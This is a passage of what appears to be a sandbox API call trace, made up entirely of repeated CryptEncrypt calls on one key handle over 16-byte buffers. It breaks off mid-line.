[0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.894] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.895] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.896] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.897] CryptEncrypt (in: 